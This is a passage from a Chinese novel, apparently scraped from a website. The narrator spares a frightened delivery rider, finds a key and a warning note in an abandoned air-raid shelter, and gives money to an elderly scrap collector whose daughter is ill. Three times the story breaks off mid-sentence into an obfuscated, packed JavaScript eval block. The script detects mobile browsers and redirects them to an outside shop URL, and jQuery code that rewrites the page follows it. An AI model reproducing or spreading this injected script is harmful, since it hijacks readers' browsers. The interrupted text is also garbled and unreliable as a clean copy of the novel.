电台里放着无聊的流行情歌和路况信息,主播用甜腻而虚假的声音推销着某种理财产品。我烦躁地关掉。只有发动机的噪音和风从车窗缝隙灌入的呼啸声。 车子驶向城市边缘,朝着大学城的方向。越靠近,周围的景色越发熟悉,又带着一种物是人非的疏离感。曾经的农田变成了新建的住宅小区,低矮的商铺被连锁品牌取代,只有那条通往山脚的路,似乎还保持着旧日的模样,只是更加破败。 就在一个十字路口,绿灯亮起,我正准备踩油门通过。突然,右侧一道黄色的影子猛地窜了出来!刺耳的刹车声和金属刮擦的噪音同时响起! 我的身体猛地前倾,又被安全带狠狠勒回座椅。心脏像被一只无形的手攥紧,瞬间停止了跳动。一辆外卖员的电瓶车,几乎是贴着我的车头斜摔了出去。车上那个穿着亮黄色工装、戴着巨大头盔的身影,连同那个巨大的、印着某平台logo的保温箱,一起重重地摔在了斑马线上。保温箱的盖子弹开,里面五颜六色的餐盒滚落一地,汤汁和饭菜泼洒在肮脏的路面上,一片狼藉。 随即,后方响起了不耐烦的汽车喇叭声。我猛地推开车门,冲了下去。肾上腺素在体内飙升,手脚有些发软。我看到那个外卖员正挣扎着想从地上爬起来,他的电瓶车压住了他的一条腿。他试图推开车子,动作却显得有些笨拙和无力。 “你他妈瞎啊!闯红灯!”我听到自己因为惊吓和愤怒而变调的声音在吼叫,带着一种虚张声势的凶狠。这一刻,我仿佛变成了那些我曾经最厌恶的、在街头因为一点剐蹭就暴跳如雷的司机。 那个外卖员终于推开了电瓶车,踉跄着站直了身体。他摘下头盔,露出一张被汗水浸湿、布满焦虑和恐惧的年轻脸庞。看上去不过二十出头,皮肤黝黑,嘴唇干裂,眼神里充满了惊慌失措和一种近乎绝望的哀求。 “对不住!大哥!真对不住!”他连连鞠躬,声音带着哭腔,方言口音很重,“我……我赶时间,这单快超时了……超时一单要扣钱的,这个月已经扣了好多了……我没想到,真对不住……” 他一边语无伦次地道歉,一边慌乱地看着地上洒落的餐食,又看看我那辆破捷达前保险杠上那道新鲜的、长长的刮痕,脸色变得惨白。他颤抖着从湿透的工装口袋里掏出一个破旧的塑料钱包,里面瘪瘪的,只有几张零碎的纸币和几个硬币。 “我……我赔……我赔您钱……”他的声音越来越小,几乎要哭出来。那点钱,恐怕连补漆的零头都不够。 后方车辆的喇叭声更加密集、刺耳,像催命的符咒。有人从车窗探出头来叫骂:“搞什么鬼!挡着路了!快挪开!” 我看着这个年轻的、如同受惊兔子般的外卖员,看着他被汗水打湿的头发紧贴在额头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016441|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着他眼中那种熟悉的、被生活逼到角落的恐惧和卑微,我胸腔里那股无名的怒火,像被戳破的气球,瞬间泄了个干净,取而代之的,是一种更深沉、更冰冷的东西。 我看到了什么?我看到了顾远。不是具体的形象,而是那种被无形压力逼迫、在生存线上挣扎的、同样的绝望。顾远被“账本”和“地下的东西”逼迫,最终走向死亡。而这个年轻人,被“超时扣款”和“赔偿损失”逼迫,此刻正站在车水马龙的路口,瑟瑟发抖,仿佛随时也会被这残酷的规则碾碎。 我们都是这座巨大城市机器里的齿轮,只不过大小、位置不同,但同样身不由己,同样随时可能因为一个微小的差错,就被弹出机器,摔得粉身碎骨。他用他的电瓶车和保温箱在用命换钱,我用我的破相机和那点可怜的“绝望美学”在用命换钱。本质上,没有区别。 何必互相为难?一种巨大的、令人窒息的悲凉感,像冰冷的潮水,瞬间淹没了我。这悲凉,不仅仅是为这个外卖员,为顾远,也是为我自己,为所有在这座城市的光鲜与阴影下,挣扎求存的、微不足道的生命。 我想起了老金。那个我还没正式认识,但已经从顾远碎片化的描述中勾勒出轮廓的男人——一个下岗工人,一个为了给女儿治病可以付出一切、包括尊严和生命的父亲。此刻,在这个外卖员身上,我仿佛看到了老金那种被生活反复捶打后,只剩下麻木和卑微的影子。这他妈的就是我们的生活。用命换钱,再用钱续命。一个无比残酷,又无比现实的循环。 我深吸了一口气,努力压下喉咙里的哽咽。摆了摆手,声音沙哑而疲惫:“算了,你走吧。” 外卖员愣住了,难以置信地看着我,似乎怀疑自己听错了。 “快走吧!”我加重了语气,带着不耐烦,指了指后面拥堵的车流,“挡着别人了。你的餐……自己处理吧。” 他这才反应过来,千恩万谢,几乎要跪下来磕头。他慌忙扶起扭曲变形的电瓶车,也顾不上去捡那些洒落的餐盒,推着车,一瘸一拐地、狼狈地冲向了路边。 我回到车上,系好安全带,双手紧紧握住方向盘,指关节因为用力而泛白。心脏还在剧烈地跳动,不是因为刚才的事故,而是因为那种深入骨髓的、老金式的悲凉。 我发动车子,缓缓驶过路口。从后视镜里,我看到那个外卖员正艰难地试图将电瓶车推到人行道上,他的背影在熙攘的人群中,显得那么渺小,那么无助。 我们都是垃圾。被这座城市产生,又被它随意丢弃。区别只在于,有些垃圾被扔进了贴着“体面”标签的垃圾桶,而有些,则直接被扫进了下水道,比如顾远,比如这个外卖员,比如……即将踏入防空洞的我。 破捷达发出更加沉闷的吼声,载着我,驶向那条通往过去、也可能通往毁灭的盘山公路。车窗外,城市的喧嚣逐渐被甩在身后,取而代之的,是山间愈发清晰的寂静,和一种仿佛能吞噬一切的、阴冷的沉默。 5. 破车破人生 破捷达最终停在了后山一条几乎被荒草淹没的土路尽头。发动机熄火后,周遭陷入一种令人心悸的寂静。只有山风吹过树林的呜咽,以及不知名虫豸在草丛深处发出的、细碎而持续的鸣叫。空气中弥漫着植物腐烂和泥土的腥气,与城中村那种人造的喧嚣和污浊截然不同,却同样令人窒息。 我推开车门,脚踩在松软、积满落叶的地面上,发出“沙沙”的声响。抬头望去,记忆中的小路早已被疯长的灌木和荆棘覆盖,只能勉强辨认出一条被人或动物偶尔踩踏过的、模糊的痕迹。山势并不陡峭,但多年未经打理,行走起来依旧深一脚浅一脚,裤腿很快就被草叶上的露水打湿,冰凉地贴在皮肤上。 越往上走,那种被窥视的感觉就越发强烈。仿佛两侧沉默的树木后面,都藏着无数双眼睛。是顾远冤魂不散的注视?还是那个冰冷男声所代表的势力,早已布下的监视?我不知道。或许,只是我自己内心恐惧的投射。但无论是哪一种,都让我的后背一阵阵发凉,手心渗出冰冷的汗水。 防空洞的入口,比记忆中更加破败、隐蔽。它隐藏在一片茂密的藤蔓和野竹之后,水泥浇筑的拱形门廊已经大片剥落,露出里面锈蚀的钢筋,像暴露在外的肋骨。厚重的、原本包裹着铁皮的木门早已不知去向,只留下一个黑黢黢的、如同巨兽张开的大口般的洞口。一股混合着浓重霉味、泥土腥气和某种动物粪便恶臭的、冰冷的气流,从洞口深处缓缓涌出,扑打在我的脸上。 我站在洞口,犹豫了片刻。从口袋里掏出手机,打开手电筒功能。微弱的光柱刺破黑暗,勉强照亮了洞口附近的一小片区域。地面上堆积着厚厚的、不知沉积了多少年的枯枝败叶和杂物,墙壁上布满了滑腻的、颜色诡异的苔藓和地衣。 深吸一口气,那冰冷污浊的空气直灌肺腑,引发一阵轻微的咳嗽。我咬了咬牙,弯腰钻了进去。 黑暗,瞬间如同有生命的实体般包裹上来。手机电筒的光线在这片浓稠的黑暗面前,显得如此无力,只能照亮脚下前方不过一两米的范围,光线之外,是深不见底、仿佛能吞噬一切的虚无。脚步声在空旷的洞穴里产生回响,被扭曲、放大,听起来不象是自己的,倒象是有什么东西在身后亦步亦趋地跟着。 空气潮湿得能拧出水来,冰冷的水汽渗透衣物,紧紧贴在皮肤上,带走本就稀薄的体温。霉味更加浓烈,直冲鼻腔,带着一种陈年积怨般的腐朽气息。偶尔,能听到黑暗中传来“滴答”的水声,清脆而规律,像倒计时的秒针,敲打在紧绷的神经上。 我凭着模糊的记忆,小心翼翼地往里走。脚下不时踩到碎石或软绵绵不知何物的东西,让人心惊肉跳。洞壁触手冰凉、滑腻,仿佛触摸到了某种巨大生物的内脏壁膜。 这里曾经是我们的“乐园”。我们曾在这里用偷来的粉笔在墙上写下幼稚的豪言壮语和暗恋女孩的名字,曾在这里分享偷偷带来的啤酒,曾在这里激烈地争论着尼采和萨特,仿佛掌握了这些拗口的名字就掌握了世界的真理。那些泛着廉价啤酒泡沫和青春荷尔蒙气息的记忆,此刻被这阴冷、污秽的现实彻底击碎,显得如此可笑,如此不堪一击。 顾远会把东西藏在哪里?我回忆着。我们当年最喜欢待的地方,是靠近洞穴最深处的一个小岔洞,那里相对干燥一些,而且有一块比较平坦的、像石凳一样的大石头。 我调整方向,朝着记忆中的位置挪动。光线在凹凸不平的洞壁上跳跃,勾勒出各种狰狞扭曲的影子,像潜伏的鬼怪。每一声自己制造的响动,都让心脏骤然收紧。 终于,手电光扫到了那个熟悉的岔洞口,以及那块标志性的、表面相对光滑的大石头。我快步走过去,心脏在胸腔里擂鼓般狂跳。光线在石头周围仔细搜寻。石头下面?缝隙里?还是……我的目光定格在石头背面,靠近地面与洞壁夹角的一个不起眼的凹陷处。那里堆积着一些碎石和泥土。我蹲下身,用手扒开那些浮土和石块。 指尖触到了一个冰冷、坚硬的物体。是一个铁盒。不大,比烟盒稍大一些,通体覆盖着厚厚的、红褐色的锈迹,摸上去粗糙剌手。它静静地躺在那里,像一颗停止了跳动多年的、金属的心脏。 找到了!一股混杂着激动、恐惧和难以置信的情绪冲上头顶,让我一阵眩晕。我小心翼翼地将铁盒从土里挖了出来,捧在手里。它很轻,摇晃一下,里面传来轻微的、物体碰撞的声响。 会是什么?账本的微缩胶卷?U盘?还是……我尝试打开它。盒盖因为年深日久的锈蚀,已经和盒身几乎锈死在一起。我用力抠了几下,指甲生疼,却纹丝不动。 我有些焦躁,环顾四周,捡起一块边缘比较锋利的石块,对准盒盖的缝隙,用力撬了下去。 令人牙酸的金属摩擦声在洞穴里尖锐地回荡。一下,两下……锈屑簌簌落下。一声闷响,盒盖终于被强行撬开了一道缝隙。我扔掉石块,用颤抖的手指,用力扳开了盒盖。 一股更陈旧的、带着铁锈和纸张霉变的气味扑面而来。 手电光立刻聚焦进去。没有微缩胶卷。没有U盘。甚至没有一张写满字的纸。 铁盒内部,同样布满了锈迹,底部躺着一小撮褐色的、象是铁锈又象是泥土的粉末。而在这些粉末之上,只有两样东西: 一把钥匙。和一张折叠起来的、边缘已经有些破损、颜色发黄的纸条。 我的心,如同坐过山车般,从刚才找到铁盒的短暂高点,猛地向下疾坠。没有想象中的重磅证据,只有这两样含义不明、充满了不确定性的物品。 我首先拿起那把钥匙。很普通的黄铜钥匙,款式老旧,上面没有任何标记或编号。它能打开什么?一扇门?一个柜子?一个保险箱?毫无头绪。 然后,我屏住呼吸,用尽可能轻柔的动作,展开了那张脆弱的纸条。 纸条上,只有一行字。是用钢笔写的,墨水是蓝色的,因为受潮有些洇染开,但字迹依旧清晰可辨——是顾远的笔迹,带着他特有的、略显潦草的力度:“别信任何人,尤其是她。” 短短九个字,像九根冰冷的针,瞬间刺入了我的眼球,直抵大脑深处。 别信任何人…… 这充满了绝望的警告,让我的血液几乎冻结。他早已预感到危险?预感到自己身边充满了不可信任的目光?甚至连我……他最终托付了线索的我,是否也在他“别信”的名单之列?这个念头让我不寒而栗。 尤其是她。 “她”?几乎没有任何犹豫,一个名字立刻浮现在我的脑海——苏晚。照片上那个与年轻赵承德姿态亲密的少女,那个如今在高级会所工作、神秘莫测的女人。顾远特意保存着那张照片,现在又留下这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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字迹断断续续,有些已经被后续生长的苔藓覆盖或侵蚀得难以辨认。我仔细分辨着:他们都……不见了……凤凰……计划……地……下有…………救命…………赵…………灭口……最后两个字,“灭口”,写得尤其扭曲、巨大,带着一种濒死般的绝望,深深地凿进了水泥墙体里。 一股比洞穴本身更加冰冷的寒意,瞬间贯穿了我的全身。这些字迹……是谁留下的?肯定不是顾远,这些痕迹看起来有些年头了。是更早的、与“凤凰计划”相关的受害者?一个被拖入这座防空洞,经历了无法想象的恐惧,最终“不见了”的人? 顾远选择这里作为藏匿点,难道不仅仅是因为这里是我们的“老地方”,更因为……这里本身,就是那个“凤凰计划”黑暗历史的一部分?一个埋葬着早期牺牲品的乱葬岗? “地下的东西”……“不能动的账本”……“凤凰计划”……赵承德……苏晚……灭口…… 这些碎片,仿佛被一条无形的、沾满血污的线,隐隐串联了起来。一个跨越了二十年,吞噬了无数生命和良知的黑洞,正在我面前,缓缓显露出它狰狞轮廓的一角。 我感到一阵强烈的恶心和眩晕,扶住冰冷的洞壁,才没有摔倒。 这个防空洞,不再只是一个藏匿点。它本身,就是一个巨大的、沉默的墓碑。 而我,刚刚亲手掘开了它的一角。不敢再做任何停留,我几乎是连滚爬爬地、跌跌撞撞地冲出了这个令人窒息的洞穴。重新见到外面灰蒙蒙的天空时,我有一种恍如隔世的感觉,仿佛刚从地狱爬回人间。 但我知道,我带回人间的,是来自地狱的请柬。那把钥匙,和那张写着警告的纸条,在我帆布包的底部,像两颗随时会引爆的炸弹,沉默地散发着不祥的气息。 “她”……苏晚。 6. 哪有什么好东西,净是些破烂 几乎是连滚带爬地冲出防空洞,重新呼吸到山林间那带着植物腥气的、相对“干净”的空气时,我扶着膝盖,大口大口地喘息,仿佛刚刚逃离的不是一个废弃的洞穴,而是一头巨兽粘滑的食道。心脏在胸腔里疯狂擂动,撞击着肋骨,发出沉闷的响声。洞内那阴冷潮湿的霉味似乎还顽固地附着在我的鼻腔深处,混合着刻在墙上的“灭口”二字所带来的、深入骨髓的寒意。 帆布包里,那把冰冷的钥匙和那张写着警告的纸条,像两块沉重的寒冰,贴着我的后背,不断提醒着我刚刚踏入的是何等危险的领域。洞壁上那些模糊却绝望的刻痕,如同幽灵的低语,在我脑海里盘旋不去。“凤凰计划”……又一个与赵承德相关的、带着不祥气息的名词。 我直起身,用手背擦去额头上不知是冷汗还是洞穴水汽的湿痕,强迫自己冷静下来。阳光透过稀疏的枝叶,投下斑驳晃动的光斑,非但没有带来暖意,反而让周遭的一切显得更加恍惚和不真实。 就在这时,一阵窸窸窣窣的声响从侧前方的灌木丛后传来。我的身体瞬间绷紧,像一只受惊的猫,猛地转向声音来源,瞳孔收缩,全身的血液似乎都涌向了四肢,准备随时逃跑或……做出一些我自己都无法预料的反应。是跟踪我的人?是那个冰冷男声派来的?还是这山上其他的……东西? 灌木丛被拨开,一个身影钻了出来。不是我想象中穿着黑衣、面目阴沉的杀手,而是一个……老人。一个瘦骨嶙峋、背脊佝偻得像一张旧弓的老人。 他穿着一身洗得发白、打了好几个深色补丁的蓝色工装,脚下是一双几乎看不出原本颜色的、张着嘴的解放鞋。脸上被刀刻般的皱纹占满,皮肤是长期风吹日晒形成的、缺乏营养的黧黑色。花白的头发乱糟糟地贴在头皮上,沾着几片草屑。最引人注目的是他肩上扛着的一个巨大的、脏兮兮的编织袋,里面鼓鼓囊囊地塞满了各种塑料瓶、废纸板和锈蚀的金属件,压得他本就弯曲的脊梁几乎要贴到地面上。 一个捡废品的。 他显然也没料到会在这里碰到人,浑浊的眼睛里闪过一丝警惕和慌乱,下意识地把肩上的编织袋往后藏了藏,尽管那袋子大得根本无处可藏。他打量着我,目光在我身上那件虽然旧但还算完整的夹克和脸上的惊魂未定上停留了片刻,嘴唇嚅动了一下,似乎想说什么,又没敢开口。 我们就这样在寂静的山林间对视着,空气中弥漫着一种尴尬而紧张的气氛。他把我当成了什么?管理员?还是和他一样,来这荒山野岭“寻宝”的竞争者?看他那警惕的眼神,后者的可能性更大。 我紧绷的神经稍微松弛了一些,但警惕并未完全放下。在这种地方,遇到任何人,都值得怀疑。尤其是刚刚经历了洞内的一切之后。 他见我没什么动作,也不像要驱赶他的样子,胆子似乎大了一些。他慢慢放下肩上的编织袋,发出“哗啦”一声杂乱的声响。他指了指我身后的防空洞洞口,用带着浓重地方口音的、沙哑的普通话小心翼翼地问:“同……同志,你也是……来这里面找东西的?” 我愣了一下,随即明白他误会了。他把我当成了和他一样,来这废弃防空洞里翻捡有价值废品的人。也是,这破地方,除了捡垃圾的,还有谁会来? 我含糊地“嗯”了一声,没有多做解释。目光却不由自主地落在他放在地上的那个编织袋上,以及他因为长期劳作和负重而变形、布满老茧和污垢的手。 他见我没有否认,脸上露出一丝象是找到同类的、略带讨好又有些拘谨的笑容,皱纹挤在一起,像一朵风干了的菊花。“这地方……好东西不多喽。以前还能捡到点铜线、铁疙瘩,现在……净是些破烂。”他叹了口气,那叹息里带着被生活重压下的疲惫。 然后,他象是想起了什么,脸上突然焕发出一种与他年龄和处境极不相称的、近乎孩童般的兴奋光彩。他蹲下身,小心翼翼地在那个巨大的编织袋里翻找起来,动作轻柔得象是在对待什么易碎的珍宝。 “不过今天运气好!”他一边翻找,一边絮絮叨叨地说着,象是在跟我分享,又象是在自言自语,“你看,我捡到了个啥!” 他终于从一堆废纸和塑料瓶底下,掏出了一个东西——一个老旧的、砖头大小的半导体收音机。收音机的塑料外壳已经泛黄,布满了划痕和磕碰的缺口,一侧的调频旋钮不见了,露出里面的金属轴杆,天线也折断了一半。看起来完全是一堆该进垃圾场的电子垃圾。 但他却像捧着什么稀世珍宝一样,用袖子仔细地擦拭着收音机外壳上的灰尘,浑浊的眼睛里闪着光。 “你看,这玩意儿,老物件了!”他献宝似的把收音机递到我面前,“别看样子破,我估摸着,里头的线圈、磁棒啥的,说不定还是好的!我拿回去捣鼓捣鼓,把线接上,换个电池,没准儿还能响!” 他越说越兴奋,脸上的皱纹都舒展开来:“到时候,修好了,拿到旧货市场,怎么着……也能卖个五十块钱吧?” 五十块。他因为可能赚到的五十块钱,笑得像个孩子。而我,看着他脸上那因为微小希望而绽放的光芒,看着他佝偻的身躯和破烂的衣衫,心脏象是被一只无形的手狠狠攥住,然后浸入了冰水里。刚才在洞内感受到的那种宏大叙事般的阴谋和危险,此刻被一种更具体、更磨人、更无处不在的日常绝望所取代。 我笑不出来。喉咙里象是堵了一块沾满污垢的石头,沉重而苦涩。 他见我没什么反应,只是愣愣地看着他,脸上的兴奋稍稍褪去,有些讪讪地收回了收音机,依旧小心翼翼地抱在怀里,仿佛那是他全部的希望。 “五十块……能给我闺女买好几盒药了。”他低声嘟囔了一句,象是在解释,又象是在给自己打气。 “你女儿……怎么了?”我终于找回了自己的声音,干涩地问道。这个问题似乎有些冒昧,但我忍不住。我想知道,是什么样的重压,让一个老人需要在这样的荒山里,从一堆真正的垃圾中,寻找价值五十元的“宝贝”去换取几盒药。 听到我问起女儿,老金——我后来才知道他叫金卫国,老金——象是被打开了某个闸门。他脸上的拘谨和警惕消失了,取而代之的是一种混杂着无尽忧愁和一丝谈及骨肉时本能的温柔。 “病了……唉,得了不好治的病。”他叹了口气,抱着收音机,靠着旁边一棵歪脖子树坐了下来,仿佛提起这个话题就需要耗费他巨大的力气。 “啥病?”我追问,也顺势在不远处一块石头上坐下。山林寂静,只有风吹过树叶的声音,和他沙哑的、带着苦难沉淀的叙述。 “医生说的名儿忒长,我也记不住……反正就是血里的毛病,造血的机器坏了。”他努力回忆着那些拗口的医学名词,最终放弃了,“反正就是得一直吃药,不能停。一停,人就……就不行了。” 他的声音低沉下去,带着一种被反复折磨后的麻木。 “那药……贵吧?”我几乎能猜到答案。 “贵!咋不贵!”老金的声调陡然提高了一些,带着一种近乎控诉的激动,但很快又低沉下去,变成了无奈的絮叨,“一盒就好几百,吃不了几天。一个月光药钱,就得四五千……这还不算检查、住院的钱。” 四五千。对我这个拖欠房租的人来说是天文数字,对他这样一个靠捡废品为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016443|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的人来说呢?我无法想象。 “我没啥本事,下岗快二十年了。”老金的目光投向远处模糊的城市轮廓,眼神空洞,“原来在纺织厂,后来厂子倒了,就没着落了。打零工,扛大包,啥都干过。老了,没力气了,就只能捡点破烂……” 他顿了顿,脸上露出一丝比哭还难看的、苦涩的笑容,那笑容里充满了生活的荒诞和残酷。 “前阵子,实在没办法了,听说医院能卖血,我就去了。寻思着,我这把老骨头,血总还能换点钱吧?” 我屏住呼吸,预感到接下来不会是什么好故事。 “结果你猜咋着?”老金歪着头看我,那表情象是在讲一个别人的、可笑的笑话,“那护士抽了我一管子血,拿去验。回来就跟我说,‘大爷,你这血脂太高了,血不合格,我们不能要。’” 他模仿着护士的语气,带着一种夸张的、事不关己的腔调。 “我当时就懵了,我问她,那咋办?她说,‘你回去,多吃点素,少吃油腥,过段时间再来试试。’” 老金说到这里,突然“嘿嘿”地笑了起来,笑声干涩而刺耳,在这空旷的山林里显得格外瘆人。 “嘿嘿……多吃素……我他妈连饭都快吃不上了,还多吃素……我倒是想天天吃素,可素菜它不要钱吗?我捡一天破烂,赚的钱够买几斤素菜?够我闺女吃一顿药吗?” 他笑着,肩膀耸动,眼泪却从那双浑浊的眼睛里大颗大颗地滚落下来,顺着他刀刻般的皱纹蜿蜒而下,滴落在他怀里那个破旧的收音机上。 “他们嫌我的血脏……嫌我的血油……可我就是吃这些油腥玩意儿,才有力气出来捡破烂啊……我才有力气,给我闺女挣买药的钱啊……” 他的哭声,从一开始压抑的呜咽,逐渐变成了无法控制的、绝望的嚎啕。那哭声不象是因为悲伤,更象是因为一种走投无路的、被整个世界抛弃和嘲弄后的巨大荒诞感。 我坐在石头上,浑身冰冷。看着他佝偻的身影在树下颤抖,听着他那混合着笑声和哭声的、令人心碎的控诉。任何语言在此刻都显得苍白无力。安慰?鼓励?那都是居高临下的、廉价的同情。我甚至无法说出“一切都会好起来的”这种连我自己都不信的鬼话。 这个世界,就是如此运转的。它用一套看似合理的规则,将老金这样的人逼到墙角,吸干他们的血汗,然后还嫌弃他们的血液不够“纯净”。它让一个父亲,为了五十块钱的希望,在荒山里像寻宝一样翻找垃圾,却连出卖自己血肉的资格都被剥夺。 顾远被庞大的阴谋机器碾碎。老金被日常的、琐碎的、却同样冰冷的生存压力一点点凌迟。 哪一种更悲惨?我分不清。 我只知道,在这座光芒万丈的城市脚下,埋葬着无数个顾远和老金。他们是基石,是燃料,是随时可以被替换、被丢弃的零件。他们的痛苦和绝望,构成了这座城市“繁华”背后,最深沉、最无声的底色。 老金的哭声渐渐低了下去,变成了疲惫的喘息。他用脏兮兮的袖子用力抹了一把脸,把那个破收音机更紧地抱在怀里,仿佛那是他唯一能抓住的、冰冷而虚幻的浮木。 他抬起头,看着我,似乎有些不好意思,讷讷地说:“对不住啊,同志……我……我失态了……” 我摇了摇头,喉咙发紧,一个字也说不出来。 山林依旧寂静,阳光依旧斑驳。但我们所处的这个世界,已然不同。我背包里的钥匙和警告,与眼前老金那价值五十元的“宝贝”和无法支付的药费单,像两条来自不同地狱的锁链,在这一刻,同时缠绕上了我的脖颈,缓慢而坚定地收紧。 7. 真的会好起来吗 老金的哭声,像一根生锈的锯条,在我早已麻木的心弦上来回拉扯,发出刺耳又沉闷的噪音。它不像顾远死亡带来的那种尖锐、充满阴谋气息的恐惧,而是一种缓慢的、弥漫性的、浸透骨髓的绝望。这种绝望源于最基础的生存本身,源于一个父亲眼睁睁看着女儿生命流逝却无力回天的、日复一日的凌迟。 他蜷缩在树下,抱着那个承载着五十元希望的破旧收音机,肩膀还在微微抽动。刚才那阵失控的嚎啕耗尽了他本就所剩无几的气力,此刻只剩下一种被抽空后的、死寂般的疲惫。山林间的风吹动他花白、脏乱的头发,露出下面被岁月和苦难侵蚀得沟壑纵横的额头。 我坐在冰冷的石头上,感觉自己像一块被钉在原地的朽木。喉咙里堵着的那团湿重、肮脏的棉花,越来越大,几乎要让我窒息。想说点什么,哪怕是最苍白无力的“会好起来的”,都显得如此虚伪,如此居高临下,如此……残忍。 我的目光掠过他佝偻的背脊,掠过那袋鼓鼓囊囊、却价值低廉的废品,最后落在他那双因为长期接触污物和重物而变形、指甲缝里嵌满黑泥的手上。这双手,曾经也许在纺织机前穿梭,撑起过一个家庭微薄的希望;如今,却只能在垃圾堆里翻捡,试图抓住女儿生命线上那一丝丝几乎不存在的可能。 我想起了顾远。他挣扎在另一个层面的、更加凶险的泥潭里,最终被吞噬。而老金,则是在这个社会最底层的、看似“合法”的规则下,被一点点放血,直到油尽灯枯。一个是瞬间的爆裂,一个是缓慢的窒息。本质上,都是被这个系统碾碎的命运。 一股混合着无力、愤怒和一种近乎自毁冲动的情绪,在我胸腔里翻涌。我能做什么?我他妈一个连自己都养不活的烂人,能做什么? 理智在冷笑,提醒着我口袋的干瘪,提醒着我下个月的房租还没有着落,提醒着我自身难保的窘境。任何形式的“帮助”,在这个巨大的、结构性的苦难面前,都不过是杯水车薪,是精神上的自我安慰,是……一种可笑的表演。 但,我无法就这样转身离开。无法在听完一个父亲用卖血被拒这种荒诞故事来讲述他的绝望之后,拍拍屁股,像个冷漠的旁观者一样,走回我那虽然破败但至少还能遮风挡雨的出租屋,继续我那虽然绝望但至少暂时无性命之忧的烂泥生活。 那不仅仅是冷漠,那是一种……共犯般的麻木。 我的手,几乎是不受控制地,伸向了牛仔裤的后袋。那里装着我的钱包,一个同样破旧、干瘪的皮夹。我把它掏出来,指尖能清晰地感受到里面纸币的单薄。 打开。里面静静地躺着两张一百元,一张五十元,还有一些零碎的纸币和硬币。这是我全部的活动资金,支撑着我接下来至少半个月的饭钱和油费。 没有过多犹豫——或许任何的犹豫都会让这点可怜的冲动瞬间瓦解——我抽出了那两张一百元纸币。红色的钞票,在透过枝叶缝隙的斑驳光线下,显得有些刺眼。 我站起身,走到老金面前。他似乎还沉浸在自己的悲恸和茫然中,直到我的影子笼罩了他,他才迟钝地抬起头。那双浑浊的眼睛里,泪水已经干涸,只剩下无边无际的疲惫和空洞。 我把两张钞票递到他面前。 “这个……你拿着。”我的声音干涩,带着一种连自己都厌恶的、施舍般的腔调。 老金愣住了。他看看我手里的钱,又看看我的脸,眼神里充满了难以置信和一种受宠若惊的、几乎是条件反射般的惶恐。他猛地摇头,双手下意识地往后缩,连带着把那个收音机也抱得更紧。 “不……不……同志,这不能……这哪能要你的钱……”他语无伦次地拒绝,身体往后蹭,仿佛我递过去的不是钱,而是烧红的烙铁。 “拿着!”我加重了语气,带着一种不容置疑的、近乎粗暴的态度,将钱往前又递了递,几乎要戳到他的胸口,“给孩子买药!” “买药”这两个字,像某种咒语,瞬间击穿了他脆弱的防线。他抗拒的动作停滞了,目光再次落在那两张红色的纸币上,眼神变得极其复杂,有渴望,有羞耻,有挣扎,最终,一种更深沉的、为了生存而不得不低头妥协的悲哀,覆盖了一切。 他颤抖着,极其缓慢地伸出了一只布满老茧和污垢的手。那只手在空中停顿了片刻,仿佛在进行某种艰难的思想斗争,然后,才小心翼翼地、像触碰易碎品一样,接过了那两张钞票。 指尖接触的瞬间,我能感受到他手上粗粝的皮肤和冰冷的温度。 钱一到手,他就像做错了事的孩子一样,迅速把手缩了回去,紧紧将钱攥在手心,指关节因为用力而泛白。他低下头,不敢再看我,嘴里反复地、喃喃地念叨着:“谢谢……谢谢同志……你真是好人……好人一定有好报……谢谢……” 每一句“谢谢”,都像一记无形的鞭子,抽打在我的心上。好人?好报?我他妈算哪门子好人?这点钱,连他女儿半个月的药费都不够,能顶什么用?这廉价的善意,又能改变什么? 他念叨了一阵,突然象是想起了什么,猛地抬起头,脸上带着一种急切地想要回报的表情。他手忙脚乱地将那两张钞票塞进贴身的口袋,确保放稳妥了,然后双手捧起那个他一直视若珍宝的破收音机,郑重地递到我面前。 “同志……这个……这个你拿着!我修好了再给你送去!我知道地址!我……”他急切地说着,仿佛不送出点什么,就无法心安理得地接受那两百块钱。 看着他那双充满恳求、甚至带着一丝卑微乞求的眼睛,看着他手中那个破烂的、几乎毫无价值的收音机,我的心象是被无数细密的针扎透,弥漫开一种难以言喻的酸楚和悲凉。 “不用了。”我摇了摇头,声音低沉而疲惫,“你自己留着吧,修好了,还能卖点钱。” 我不能再接受他的“回报”。这只会让这场本就失衡的、充满屈辱感的“交易”,变得更加令人窒息。我的这点“善意”,已经像一块石头,投入了他本就苦涩的生命之湖,我不希望再激起更多无奈的涟漪。 他看着我,眼神黯淡了一下,捧着收音机的手慢慢垂了下去,脸上掠过一丝失落和不安,仿佛担心我因为拒绝他的“礼物”而反悔那两百块钱。 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山风吹拂着他破烂的衣衫,他花白的头发在风中颤抖。在那一片荒凉的山景衬托下,他那鞠躬的身影,显得那么渺小,那么无助,那么……令人心碎。 我的脚猛地踩下了刹车。 